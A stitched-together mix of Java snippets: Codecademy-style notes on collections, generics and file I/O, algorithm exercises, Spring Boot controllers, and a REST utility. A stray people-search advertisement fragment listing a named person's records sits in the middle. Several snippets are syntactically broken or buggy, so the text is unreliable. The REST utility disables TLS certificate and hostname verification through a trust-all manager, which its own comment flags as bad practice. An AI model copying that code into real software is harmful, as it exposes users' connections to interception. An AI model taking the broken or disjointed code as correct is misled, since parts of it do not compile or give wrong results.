        return subArr <=k;
    }
    public int splitArray(int[] nums, int k) {
        if(nums[0]==1 && nums[1]==1 && nums.length==2) return 2;
        int max=0;
        int sum=0;
        for(int val: nums){
            sum+=val;
            max= Math.max(val,max);
        }
        if(k==max) return max;
        int low=max;
        int high=sum;
        int ans=0;
        while(low<=high){
            int mid=low+(high-low)/2;
            if(isPossible(nums,mid,k)){
                ans=mid;
                high=mid-1;
            }
            else low=mid+1;
        }
        return ans;
    }
//collection that stores elements that can be accessed at some later point to process (like waiting in line at the bank teller). A Queue accesses elements in a (usually) First In First Out (FIFO) manner where elements are inserted at the tail (back) of the collection and removed from the head (front).
//A Queue has two types of access methods for inserting, removing, and getting but not removing the head of the Queue.
//The following methods throw an exception when:
//add() - there is no space for the element
//remove() - there are no elements to remove
//element() - there are no elements to get
//The following methods return a special value:
//offer() - false there is no space for the element
//poll() - null there are no elements to remove
//peek() - null there are no elements to get
//The methods that return a special value should be used when working with a statically sized Queue and the exception throwing methods when using a dynamic Queue.

Queue<String> stringQueue = new LinkedList<>();
stringQueue.add("Mike"); // true - state of queue -> "Mike"
stringQueue.offer("Jeff"); // true - state of queue -> "Mike", "Jeff" 
 
String a = stringQueue.remove() // Returns "Mike" - state of queue -> 1
String b = stringQueue.poll() // Returns "Jeff" - state of queue -> empty
String c = stringQueue.peek() // Returns null
String d = stringQueue.element() // Throws NoSuchElementException

// Assuming `stringQueue` has elements -> "Mike", "Jack", "John"
for (String name: stringQueue) {
  System.out.println(name);
}
// OUTPUT TERMINAL: "Mike", "Jack", "John"
//A Set is a collection of unique elements and all of its methods ensure this stays true. 
//The HashSet implementation has the best performance when retrieving or inserting elements but cannot guarantee any ordering among them.
//The TreeSet implementation does not perform as well on insertion and deletion of elements but does keep the elements stored in order based on their values (this can be customized).
//The LinkedHashSet implementation has a slightly slower performance on insertion and deletion of elements than a HashSet but keeps elements in insertion order.

Set<Integer> intSet = new HashSet<>();  // Empty set
intSet.add(6);  // true - 6  
intSet.add(0);  //  true - 0, 6 (no guaranteed ordering)
intSet.add(6);  //  false - 0, 6 (no change, no guaranteed ordering)
 
boolean isNineInSet = intSet.contains(9);  // false
boolean isZeroInSet = intSet.contains(0);  // true

// Assuming `intSet` has elements -> 1, 5, 9, 0, 23
for (Integer number: intSet) {
  System.out.println(number);
}
// OUTPUT TERMINAL: 5 0 23 9 1
//. A List is a collection where its elements are ordered in a sequence. Lists allow us to have duplicate elements and fine-grain control over where elements are inserted in the sequence. Lists are dynamically sized.
import java.util.List;
import java.util.ArrayList;
public class Main {
  public static void main(String[] args) {
    List<String> stringList = new ArrayList<>();
    stringList.add("Hello");
    stringList.add("World");
    stringList.add("!");
    for(String element: stringList){
      System.out.println(element);}
  }
}
public class Util {
  public static void printBag(Bag<?> bag ) {
    System.out.println(bag.toString()); 
  }
}
Bag<String> myBag1 = new Bag("Hello");
Bag<Integer> myBag2 = new Bag(23);
Util.printBag(myBag1);  // Hello
Util.printBag(myBag2);  // 23

public static <T> void printBag(Bag<T> bag ) {
  System.out.println(bag.toString()); 
}

public static <T> Bag<T> getBag(Bag<T> bag ) {
  return bag;
}

public static void printBag(Bag<? extends Number> bag ) {
  System.out.println(bag.toString()); 
}

//Wildcard Lower Bounds
//A lower bound wildcard restricts the wildcard to a class or interface and any of its parent types.
//There are some general guidelines provided by Java as to when to use what type of wildcard:

//An upper bound wildcard should be used when the variable is being used to serve some type of data to our code.
//A lower bound wildcard should be used when the variable is receiving data and holding it to be used later.
//When a variable that serves data is used and only uses Object methods, an unbounded wildcard is preferred.
//When a variable needs to serve data and store data for use later on, a wildcard should not be used (use a type parameter instead).
//An upper bound restricts the type parameter to a class or any of its sub-classes and is done this way: SomeClass<? extends SomeType>. A lower bound restricts the type parameter to a class or any of its parent classes and is done this way: SomeClass<? super SomeType>.
public class Util {
  public static void getBag(Bag<? super Integer> bag ) {
    return bag;
  }
}
public class Box <T extends Number> {
  private T data; 
}
 
Box<Integer> intBox = new Box<>(2);  // Valid type argument
Box<Double> doubleBox = new Box<>(2.5);  // Valid type argument
Box<String> stringBox = new Box<>("hello");  // Error

public static <T extends Number> boolean isZero(T data) {
  return data.equals(0);
}

//multiple bounds
public class Box <T extends Number & Comparable<T>> {
  private T data; 
}
public class Box<T, S> {
  private T item1;
  private S item2;
  // Constructors, getters, and setters
}
Box<String, Integer> wordAndIntegerBox = new Box<>("Hello", 5);

public class Util {
  public static <T, S> boolean areNumbers(T item1, S item2) {
    return item1 instanceof Number && item2 instanceof Number; 
  }
}
 
boolean areNums = Util.areNumbers("Hello", 34);  // false
public class Box <T> {
  private T data;
 
  public Box(T data) {
    this.data = data; 
  }
 
  public T getData() {
    return this.data;
  }  
}
 
Box box = new Box<>("My String");  // Raw type box
String s2 = (String) box.getData();  // No incompatible type error
String s1 = box.getData();  // Incompatible type error
import java.io.Serializable;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;

public class Car implements Serializable {
  private String make;
  private int year;
  private static final long serialVersionUID = 1L;
  private Engine engine;

  public Car(String make, int year) {
    this.make = make;
    this.year = year;
    this.engine = new Engine(2.4, 6);
  }

 private void writeObject(ObjectOutputStream stream) throws IOException {
    stream.writeObject(this.make);
    stream.writeInt(this.year);
    stream.writeDouble(this.engine.getLiters());
    stream.writeInt(this.engine.getCylinders());   
  }
 
  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
    this.make = (String) stream.readObject();
    this.year = (int) stream.readInt();
    double liters = (double) stream.readDouble();
    int cylinders = (int) stream.readInt();
    this.engine = new Engine(liters, cylinders); 
  }    


  public String toString(){
    return String.format("Car make is: %s, Car year is: %d, %s", this.make, this.year, this.engine);
  }

  public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
    Car toyota = new Car("Toyota", 2021);
    Car honda = new Car("Honda", 2020);
    FileOutputStream fileOutputStream = new FileOutputStream("cars.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(toyota);
    objectOutputStream.writeObject(honda);

    FileInputStream fileInputStream = new FileInputStream("cars.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

    Car toyotaCopy = (Car) objectInputStream.readObject();
    Car hondaCopy = (Car) objectInputStream.readObject();

    boolean isSameObject = toyotaCopy == toyota;
    System.out.println("Toyota (Copy) - "+toyotaCopy);
    System.out.println("Toyota (Original) - "+toyota);
    System.out.println("Is same object: "+ isSameObject);
  }
}
public class Person implements Serializable {
  public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
 
    FileInputStream fileInputStream = new FileInputStream("persons.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 
    Person michaelCopy = (Person) objectInputStream.readObject();
    Person peterCopy = (Person) objectInputStream.readObject();
  }
}
public class Person implements Serializable {
  private String name;
  private int age;
  private static final long serialVersionUID = 1L; 
 
  public Person(String name, int age) {
    this.name = name;
    this.age = age;
  }  
 
  public static void main(String[] args) throws FileNotFoundException, IOException{
    Person michael = new Person("Michael", 26);
    Person peter = new Person("Peter", 37);
 
    FileOutputStream fileOutputStream = new FileOutputStream("persons.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 
    objectOutputStream.writeObject(michael);
    objectOutputStream.writeObject(peter);    
  }
} 
import java.io.FileReader;
import java.io.IOException;

public class Introduction {
  public static void main(String[] args) {
    String path = "/a/bad/file/path/to/thisFile.txt";
    try {
      FileReader reader = new FileReader(path);  
      while (reader.ready()) {    
        System.out.print((char) reader.read());    
      }    
      reader.close();
    } catch (IOException e) {
      System.out.println("There has been an IO exception!");
      System.out.println(e);
    }
  }
}
import java.io.*;


public class Introduction {
  public static void main(String[] args) throws IOException {
    FileOutputStream output = new FileOutputStream("output.txt");
    String outputText = "bla,bla,bla";
    byte[] outputBytes = outputText.getBytes();
    output.write(outputBytes);
    output.close();
  }
}
import java.io.*;


public class Introduction {
  public static void main(String[] args) throws IOException {
    String path = "/home/ccuser/workspace/java-input-and-output-file-input-stream/input.txt";
    FileInputStream input1 = new FileInputStream(path);
    int i = 0;
// A loop to access each character
    while((i = input1.read()) != -1) {
      System.out.print((char)i);
    }
    input1.close();
  }
}
public static int chocola(int n, int m,int[] hArray, int [] vArray) {
        Arrays.sort(hArray);
        Arrays.sort(vArray);
        int h=0,v=0,hp=1,vp=1;
        int cost=0;
        while(h<hArray.length && v<vArray.length){
            if(vArray[vArray.length-v-1]<=hArray[hArray.length-h-1]){
                cost+=hArray[hArray.length-h-1]*vp;
                hp++;
                h++;
            }
            else{
                cost+=vArray[vArray.length-v-1]*hp;
                vp++;
                v++;
            }
        }
        while(h<hArray.length){
            cost+=hArray[hArray.length-h-1]*vp;
            hp++;
            h++;
        }
        while(v<vArray.length){
            cost+=vArray[vArray.length-v-1]*hp;
            vp++;
            v++;
        }
        return cost;
    }
    public static void main(String[] args){
        String s= new String("hi");
        System.out.println(s.);
        int n=4, m=6;
        int[] hArray={2,1,3,1,4};
        int[] vArray={4,1,2};
        System.out.println(chocola(n,m,hArray,vArray));
    }
}
 public static double maxValue(int[] weight, int[] value, int capacity){
        double[][] ratio=new double[weight.length][2];
        for(int i=0;i< weight.length;i++){
            ratio[i][0]=i;
            ratio[i][1]=value[i]/(double)weight[i];
        }
        Arrays.sort(ratio,Comparator.comparingDouble(o->o[1]));
        double val=0;
        for(int i= weight.length-1;i>=0;i--){
            int idx=(int)ratio[i][0];
            if(capacity>=weight[idx]){
                val+=value[idx];
                capacity-=weight[idx];
            }
            else{
                val+=capacity*ratio[i][1];
                capacity=0;
                break;
            }
        }
        return val;
    }
    public static void main(String[] args){
       int[] weight={10,20,30};
       int[] value={60,100,120};
       int capacity=50;
        System.out.println(maxValue(weight,value,capacity));
    }
public static void main(String[] args){
        int[] start={1,3,0,5,8,5};
        int[] end={2,4,6,7,9,9};
        int[][] activities=new int[start.length][3];
        ArrayList<Integer> ans=new ArrayList<>();
        for(int i=0;i< start.length;i++){
            activities[i][0]=i;
            activities[i][1]=start[i];
            activities[i][2]=end[i];
        }

        Arrays.sort(activities, Comparator.comparingDouble(o->o[2]));
        int maxAct=1;
        int lastEnd=activities[0][2];
        ans.add(activities[0][0]);
        for(int i=1;i<end.length;i++){
            if(lastEnd<=activities[i][1]){
                maxAct++;
                lastEnd=activities[i][2];
                ans.add(activities[i][0]);
            }
        }
        System.out.println(maxAct);
        System.out.println(ans);
    }
server.port=4001
spring.jackson.default-property-inclusion = NON_NULL
spring.jpa.defer-datasource-initialization= true
spring.jpa.hibernate.ddl-auto=create-drop
spring.jpa.hibernate.hbm2ddl.auto=create
spring.jpa.hibernate.use-new-id-generator-mappings=false
spring.datasource.initialization-mode=never
spring.datasource.url=jdbc:h2:file:~/boots.db
package com.codecademy.plants.repositories;
import java.util.List; 
import org.springframework.data.repository.CrudRepository;
import com.codecademy.plants.entities.Plant;

public interface PlantRepository extends CrudRepository<Plant, Integer> {
  List<Plant> findByHasFruitTrue();
  List<Plant> findByHasFruitFalse();
  List<Plant> findByQuantityLessThan(Integer quantity);
  List<Plant> findByHasFruitTrueAndQuantityLessThan(Integer quantity);
  List<Plant> findByHasFruitFalseAndQuantityLessThan(Integer quantity);
}

//Controller
@GetMapping("/plants/search")
  public List<Plant> searchPlants(
    @RequestParam(name="hasFruit", required = false) Boolean hasFruit,
    @RequestParam(name="maxQuantity", required = false) Integer quantity
  ) {
    if (hasFruit != null && quantity != null && hasFruit) {
      return this.plantRepository.findByHasFruitTrueAndQuantityLessThan(quantity);
    }
    if (hasFruit != null && quantity != null && !hasFruit) {
      return this.plantRepository.findByHasFruitFalseAndQuantityLessThan(quantity);
    }
    if (hasFruit != null && hasFruit) {
      return this.plantRepository.findByHasFruitTrue();
    }
    if (hasFruit != null && !hasFruit) {
      return this.plantRepository.findByHasFruitFalse();
    }
    if (quantity != null) {
      return this.plantRepository.findByQuantityLessThan(quantity);
    }
    return new ArrayList<>();
  }
//Repository
List<Person> findByEyeColorAndAgeLessThan(String eyeColor, Integer age);
//Controller
@GetMapping("/people/search")
public List<Person> searchPeople(
  @RequestParam(name = "eyeColor", required = false) String eyeColor,
  @RequestParam(name = "maxAge", required = false) Integer maxAge 
) {
  if (eyeColor != null && maxAge != null) {
    return this.personRepository.findByEyeColorAndAgeLessThan(eyeColor, maxAge);
  } else if (eyeColor != null) {
    return this.personRepository.findByEyeColor(eyeColor);
  } else if (maxAge != null) {
    return this.personRepository.findByAgeLessThan(maxAge);
  } else {
    return new ArrayList<>();
  }
}
package com.codecademy.people.repositories;
import java.util.List; 
import org.springframework.data.repository.CrudRepository;
import com.codecademy.people.entities.Person;

//Repository folder
public interface PersonRepository extends CrudRepository<Person, Integer> {
  // this declaration is all we need!
  List<Person> findByEyeColor(String eyeColor);
  List<Person> findByAgeLessThan(Integer age); 
}

//Controller folder
	@GetMapping("/people/search")
	public List<Person> searchPeople(@RequestParam(name = "eyeColor", required = false) String eyeColor) {
  if (eyeColor != null) {
    return this.personRepository.findByEyeColor(eyeColor)
  } else {
    return new ArrayList<>();
  }
}

//Advanced Controller folder
@GetMapping("/people/search")
public List<Person> searchPeople(
  @RequestParam(name = "eyeColor", required = false) String eyeColor,
  @RequestParam(name = "maxAge", required = false) Integer maxAge 
) {
  if (eyeColor != null) {
    return this.personRepository.findByEyeColor(eyeColor)
  } else if (maxAge != null) {
    return this.personRepository.findByAgeLessThan(maxAge);
  } else {
    return new ArrayList<>();
  }
}

package com.codecademy.plants.repositories;

import java.util.List;

import org.springframework.data.repository.CrudRepository;

import com.codecademy.plants.entities.Plant;

public interface PlantRepository extends CrudRepository<Plant, Integer> {
}
package com.codecademy.plants.entities;

import javax.persistence.Entity;
import javax.persistence.Table;
import javax.persistence.Column;
import javax.persistence.Id;
import javax.persistence.GeneratedValue;

@Entity
@Table(name = "PLANTS")
public class Plant {

  @Id
  @GeneratedValue
  private Integer id;

  @Column(name = "NAME")
  private String name;

  @Column(name = "QUANTITY")
  private Integer quantity;

  @Column(name = "WATERING_FREQUENCY")
  private Integer wateringFrequency;

  @Column(name = "HAS_FRUIT")
  private Boolean hasFruit;

  public Integer getId() {
    return this.id;
  }

  public String getName() {
    return this.name;
  }

  public Integer getQuantity() {
    return this.quantity;
  }

  public Integer getWateringFrequency() {
    return this.wateringFrequency;
  }

  public Boolean getHasFruit() {
    return this.hasFruit;
  }

  public void setId(Integer id) {
    this.id = id;
  }

  public void setName(String name) {
    this.name = name;
  }

  public void setQuantity(Integer quantity) {
    this.quantity = quantity;
  }

  public void setWateringFrequency(Integer wateringFrequency) {
    this.wateringFrequency = wateringFrequency;
  }

  public void setHasFruit(Boolean hasFruit) {
    this.hasFruit = hasFruit;
  }

}
package com.codecademy.plants.controllers;

import java.lang.Iterable;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;

import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;

import com.codecademy.plants.entities.Plant;
import com.codecademy.plants.repositories.PlantRepository;

@RestController
public class PlantController {

  private final PlantRepository plantRepository;

  public PlantController(final PlantRepository plantRepository) {
    this.plantRepository = plantRepository;
  }

  @GetMapping("/plants")
  public Iterable<Plant> getAllPlants() {
    return this.plantRepository.findAll();
  }

  @GetMapping("/plants/{id}")
  public Optional<Plant> getPlantById(@PathVariable("id") Integer id) {
    return this.plantRepository.findById(id);
  }

  @PostMapping("/plants")
  public Plant createNewPlant(@RequestBody Plant plant) {
    Plant newPlant = this.plantRepository.save(plant);
    return newPlant;
  }

  @PutMapping("/plants/{id}")
  public Plant updatePlant(
    @PathVariable("id") Integer id,
    @RequestBody Plant p
  ) {
    Optional<Plant> plantToUpdateOptional = this.plantRepository.findById(id);
    if (!plantToUpdateOptional.isPresent()) {
      return null;
    }
    Plant plantToUpdate = plantToUpdateOptional.get();
    if (p.getHasFruit() != null) {
      plantToUpdate.setHasFruit(p.getHasFruit());
    }
    if (p.getQuantity() != null) {
      plantToUpdate.setQuantity(p.getQuantity());
    }
    if (p.getName() != null) {
      plantToUpdate.setName(p.getName());
    }
    if (p.getWateringFrequency() != null) {
      plantToUpdate.setWateringFrequency(p.getWateringFrequency());
    }
    Plant updatedPlant = this.plantRepository.save(plantToUpdate);
    return updatedPlant;
  }

  @DeleteMapping("/plants/{id}")
  public Plant deletePlant(@PathVariable("id") Integer id) {
    Optional<Plant> plantToDeleteOptional = this.plantRepository.findById(id);
    if (!plantToDeleteOptional.isPresent()) {
      return null;
    }
    Plant plantToDelete = plantToDeleteOptional.get();
    this.plantRepository.delete(plantToDelete);
    return plantToDelete;
  }
}
package com.cyberspace.tla.migrate.utils;

import com.cyberspace.tla.migrate.config.ConfigLoad;
import com.google.gson.JsonObject;
import javafx.util.Pair;
import okhttp3.*;
import okhttp3.OkHttpClient.Builder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import javax.net.ssl.*;
import java.io.IOException;
import java.net.SocketTimeoutException;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.util.*;
import java.util.concurrent.TimeUnit;

public class RESTUtil {
    public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");
    public static final MediaType FORM = MediaType.parse("application/x-www-form-urlencoded");
    public static Logger LOG = LoggerFactory.getLogger(RESTUtil.class);
    static OkHttpClient client = null;

    static OkHttpClient getClient(){
        if(client == null){
            client = new OkHttpClient();
            client = trustAllSslClient(client);
        }
        return client;
    }

    /*
    * This is very bad practice and should NOT be used in production.
    */
    private static final TrustManager[] trustAllCerts = new TrustManager[] {
            new X509TrustManager() {
                @Override
                public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {
                }

                @Override
                public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {
                }

                @Override
                public java.security.cert.X509Certificate[] getAcceptedIssuers() {
                    return new java.security.cert.X509Certificate[]{};
                }
            }
    };
    private static final SSLContext trustAllSslContext;
    static {
        try {
            trustAllSslContext = SSLContext.getInstance("SSL");
            trustAllSslContext.init(null, trustAllCerts, new java.security.SecureRandom());
        } catch (NoSuchAlgorithmException | KeyManagementException e) {
            throw new RuntimeException(e);
        }
    }
    private static final SSLSocketFactory trustAllSslSocketFactory = trustAllSslContext.getSocketFactory();

    public static OkHttpClient trustAllSslClient(OkHttpClient client) {
//        LOG.warn("Using the trustAllSslClient is highly discouraged and should not be used in Production!");
        int timeoutInSec = Integer.parseInt(ConfigLoad.getConfigLoad().getConfig("service.timeout.sec"));
//        int timeoutInSec = 5;
        Builder builder = client.newBuilder()
                .writeTimeout(timeoutInSec, TimeUnit.SECONDS)
                .readTimeout(timeoutInSec, TimeUnit.SECONDS);
        builder.sslSocketFactory(trustAllSslSocketFactory, (X509TrustManager)trustAllCerts[0]);
        builder.hostnameVerifier(new HostnameVerifier() {
            @Override
            public boolean verify(String hostname, SSLSession session) {
                return true;
            }
        });
        return builder.build();
    }

    public static String post(String url, String json, Map<String, String> headers) throws IOException {
        if (headers == null) {
            headers = new HashMap<>();
        }
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .headers(Headers.of(headers))
                .build();
        try {
            LOG.info("send json " + json + " to url " + url);
            Response response = getClient().newCall(request).execute();
            String ans = response.body().string();
            return ans;
        } catch (SocketTimeoutException e){
            LOG.error("TIME OUT, " + e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String timeOutError = ConfigLoad.getConfigLoad().getConfig("error.timeout");
            timeOutObj.addProperty("error", timeOutError);
            return GsonUtil.toJson(timeOutObj);
        } catch (IOException e) {
            LOG.error(e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String noDataError = ConfigLoad.getConfigLoad().getConfig("error.nodata");
            timeOutObj.addProperty("error", noDataError);
            return GsonUtil.toJson(timeOutObj);
        }
    }

    public static String postNoLog(String url, String json, Map<String, String> headers) throws IOException {
        if (headers == null) {
            headers = new HashMap<>();
        }
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .headers(Headers.of(headers))
                .build();
        try {
            Response response = getClient().newCall(request).execute();
            String ans = response.body().string();
            return ans;
        } catch (SocketTimeoutException e){
            LOG.error("TIME OUT, " + e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String timeOutError = ConfigLoad.getConfigLoad().getConfig("error.timeout");
            timeOutObj.addProperty("error", timeOutError);
          System.out.println("timeout");
            return GsonUtil.toJson(timeOutObj);
        } catch (IOException e) {
            LOG.error(e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String noDataError = ConfigLoad.getConfigLoad().getConfig("error.nodata");
            timeOutObj.addProperty("error", noDataError);
          System.out.println("no data");
            return GsonUtil.toJson(timeOutObj);
        }
    }

    public static String post(String url, List<Pair<String, String>> form, Map<String, String> headers) throws IOException {
        if (headers == null) {
            headers = new HashMap<>();
        }
        String stringForm = "";
        for (Pair<String, String> param: form) {
            stringForm += "&"+ param.getKey() +"="+ param.getValue();
        }

        stringForm = stringForm.substring(1);
        RequestBody body = RequestBody.create(FORM, stringForm);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .headers(Headers.of(headers))
                .build();
        try {
            LOG.info("send formdata " + stringForm + " to url " + url);
            Response response = getClient().newCall(request).execute();
            String ans = response.body().string();
            return ans;
        } catch (SocketTimeoutException e){
            LOG.error("TIME OUT, " + e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String timeOutError = ConfigLoad.getConfigLoad().getConfig("error.timeout");
            timeOutObj.addProperty("error", timeOutError);
            return GsonUtil.toJson(timeOutObj);
        } catch (IOException e) {
            LOG.error(e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String noDataError = ConfigLoad.getConfigLoad().getConfig("error.nodata");
            timeOutObj.addProperty("error", noDataError);
            return GsonUtil.toJson(timeOutObj);
        }
    }

    public static String get(String url, Map<String, String> headers) throws IOException {
        String result = "{}";
        try{
            if (headers == null) {
                headers = new HashMap<>();
            }
            Request request = new Request.Builder()
                    .url(url)
                    .get()
                    .headers(Headers.of(headers))
                    .build();
            LOG.info("Get url " + url);
            LOG.info("Header: " + headers);
            Response response = getClient().newCall(request).execute();
            result =  response.body().string();
//            LOG.info("Response: " + result);
        }catch (SocketTimeoutException e){
            LOG.error("Time out when get url " + url);
            JsonObject timeOutObj = new JsonObject();
            timeOutObj.addProperty("isTimeOut", "true");
            return GsonUtil.toJson(timeOutObj);
        }catch (Exception e){
            LOG.error(e.getMessage());
        }
        return result;
    }

    public static String get(String url, Map<String, String> headers, Map<String, String> params){
      String result = "{}";
      try{
        if (headers == null) {
          headers = new HashMap<>();
        }
//        create Http url with adding params
        HttpUrl.Builder httpUrl = HttpUrl.parse(url).newBuilder();
        if(params != null){
          for(Map.Entry<String, String> param : params.entrySet()) {
            httpUrl.addQueryParameter(param.getKey(),param.getValue());
          }
        }
        Request request = new Request.Builder()
          .url(httpUrl.build())
          .get()
          .headers(Headers.of(headers))
          .build();
        LOG.info("Get url " + url);
        LOG.info("Header: " + headers);
        LOG.info("Params" + params);
        Response response = getClient().newCall(request).execute();
        result =  response.body().string();
//            LOG.info("Response: " + result);
      }catch (SocketTimeoutException e){
        LOG.error("Time out when get url " + url);
        JsonObject timeOutObj = new JsonObject();
        timeOutObj.addProperty("isTimeOut", "true");
        return GsonUtil.toJson(timeOutObj);
      }catch (Exception e){
        LOG.error(e.getMessage());
      }
      return result;
    }

}
 9C9299

Gain Unlimited Access to:
Raymond M.

38 Years Old

Location:

Phone:

Full Name
Address History
Age & DOB
Sexual Offenses
Possible Relatives
Social Information
Criminal History
Phone Numbers
Marriage Records
Misdemeanors
Unclaimed Money
Much More!
package com.codecademy.ccapplication;
import java.util.List;
import java.lang.Iterable;
import java.util.Date;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.PathVariable;

@RestController
@RequestMapping("/superHeroes")
public class SuperHeroController {

  private final SuperHeroRepository superHeroRepository;
  private final SuperReportRepository superReportRepository;

  public SuperHeroController(SuperHeroRepository superHeroRepository, SuperReportRepository superReportRepository) {
    this.superHeroRepository = superHeroRepository;
    this.superReportRepository = superReportRepository;
  }

  @GetMapping()
	public Iterable<SuperHero> getSuperHeros() {
    Iterable<SuperHero> superHeroes = superHeroRepository.findAll();
    return superHeroes;
	}

  @PostMapping(path="/addNew")
  public String createNewSuperHero(@RequestParam String firstName, @RequestParam String lastName, @RequestParam String superPower) {
    SuperHero newSuperHero = new SuperHero(firstName, lastName, superPower);
    superHeroRepository.save(newSuperHero);
    return "New Super Hero successfully added!";
  }

  @PostMapping(path="/help")
  public String postHelp(@RequestParam String postalCode, @RequestParam String streetAddress) {
    SuperReport newSuperReport = new SuperReport(postalCode, streetAddress, "");
    superReportRepository.save(newSuperReport);
    return "Thanks! Super Heroes have been dispatched to your location!";
  }

  @GetMapping(path="/heroReport")
  public Iterable<SuperReport> getHeroReport() {
    Iterable<SuperReport> superReport = superReportRepository.findAll();
    return superReport;
  }

  @PostMapping(path="/{postalCode}")
  public Iterable<SuperReport> getHeroReportByPostal(@PathVariable String postalCode) {
    Iterable<SuperReport> superReport = superReportRepository.findByPostalCode(postalCode);
    return superReport;
  }
}
import java.util.Stack;

public class HistogramArea {
   /* public static int minVal(int[] arr, int i,int j){
        int min= Integer.MAX_VALUE;
        for(int k=i;k<=j;k++){
            min=Math.min(min,arr[k]);
        }
        return min;
    }
    public static int maxArea(@NotNull int[] arr){
        int max=Integer.MIN_VALUE, area=0;
        for(int i=0;i< arr.length;i++){
            for (int j = i; j < arr.length; j++) {
                int width=j-i+1;
                int length=minVal(arr,i,j);
                area=length*width;
                max=Math.max(area,max);
            }
        }
        return max;
    }*/
    public static void maxArea(int[] arr){
        int maxArea=0;
        int[] nsr =new int[arr.length];
        int[] nsl =new int[arr.length];
        Stack<Integer> s=new Stack<>();
        //next smaller right
        for (int i = arr.length-1; i >=0 ; i--) {
            while(!s.isEmpty()&&arr[s.peek()]>=arr[i]){
                s.pop();
            }
            if(s.isEmpty()) nsr[i]=arr.length;
            else nsr[i]=s.peek();
            s.push(i);
        }

        s=new Stack<>();
        //next smaller left
        for (int i = 0;i<arr.length;i++) {
            while(!s.isEmpty()&&arr[s.peek()]>=arr[i]){
                s.pop();
            }
            if(s.isEmpty()) nsl[i]=arr.length;
            else nsl[i]=s.peek();
            s.push(i);
        }

        for (int i = 0; i < arr.length; i++) {
            int h=arr[i];
            int w=nsr[i]-nsl[i]-1;
            int area=h*w;
            maxArea=Math.max(area,maxArea);
        }
        System.out.println(maxArea);
    }

    public static void main(String[] args){
        int[] arr={2,1,5,6,2,3};
        maxArea(arr);
    }
}
import java.util.Stack;

public class Parenthesis {
    public static boolean isValid(String str){
        Stack<Character> s=new Stack<>();
        int i=0;
        while(i<str.length()){
            if(str.charAt(i)=='('||str.charAt(i)=='{'||str.charAt(i)=='[') s.push(str.charAt(i));
            if(!s.isEmpty()){
                if((str.charAt(i)==')'&&s.peek()=='(')
                        ||(str.charAt(i)=='}'&&s.peek()=='{')
                        ||(str.charAt(i)==']'&&s.peek()=='[')){
                    s.pop();
                }
            }
            i++;
        }
        return s.isEmpty();
    }
    
    public static boolean duplicateParenthesis(String str){
        if(isValid(str)){
            Stack<Character> s=new Stack<>();
          for(int i=0;i<str.length();i++){
              if(str.charAt(i)==')'){
                  int count=0;
                  while(s.pop()!='(') count++;
                  if(count==0) return true;
              }
              else s.push(str.charAt(i));
          }
        }
        return false;
    }
    public static void main(String[] args){
        String str="((a+b)+((c+d)))";
        System.out.println(duplicateParenthesis(str));

    }
}
import java.util.Stack;
public class StockSpan {
    public static void stockSpan(int[] arr) {
        int[] span = new int[arr.length];
        Stack<Integer> s = new Stack<>();
        span[0] = 1;
        s.push(0);
        for(int i = 1; i < arr.length; i++) {
            while (!s.isEmpty() && arr[i] > arr[s.peek()]) s.pop();
            if (s.isEmpty()) span[i] = i + 1;
            else span[i] = i - s.peek();
            s.push(i);
            }
        for (int j : span) {
            System.out.println(j + " ");
        }
        return;
    }
    public static void main(String[] args){
        int[] arr={100,80,60,70,60,85,100};
        stockSpan(arr);
    }
}
import java.util.*;

public class Stacks {
   /* static class Stack{
        static ArrayList<Integer> list= new ArrayList<>();
        public boolean isEmpty(ArrayList<Integer> list){
            return list.size()==0;
        }
        public int pop(ArrayList<Integer> list){
            if(isEmpty(list)) return -1;
            int x= list.get(list.size()-1);
            list.remove(list.size()-1);
            return x;
        }
        public void push(ArrayList<Integer> list, int n){
            list.add(n);
            return;
        }
        public int peek(ArrayList<Integer> list){
            if(isEmpty(list)) return -1;
            return list.get(list.size()-1);
        }
    }*/
   public static Stack bottomPush(Stack s,int n){
        if(s.isEmpty()) {
            s.push(n);
            return s;
        }
        int x= (int) s.pop();
        bottomPush(s,n);
        s.push(x);
        return  s;
    }

    public static String stringReverse(String str){
        Stack<Character> s= new Stack<>();
        int i=0;
        StringBuilder sb=new StringBuilder("");
        while(i<str.length()){
            s.push(str.charAt(i));
            i++;
        }
        i=0;
        while(i<s.size()){
            sb.append(s.pop());
        }
        return sb.toString();
    }

    public static Stack reverseStack(Stack s){
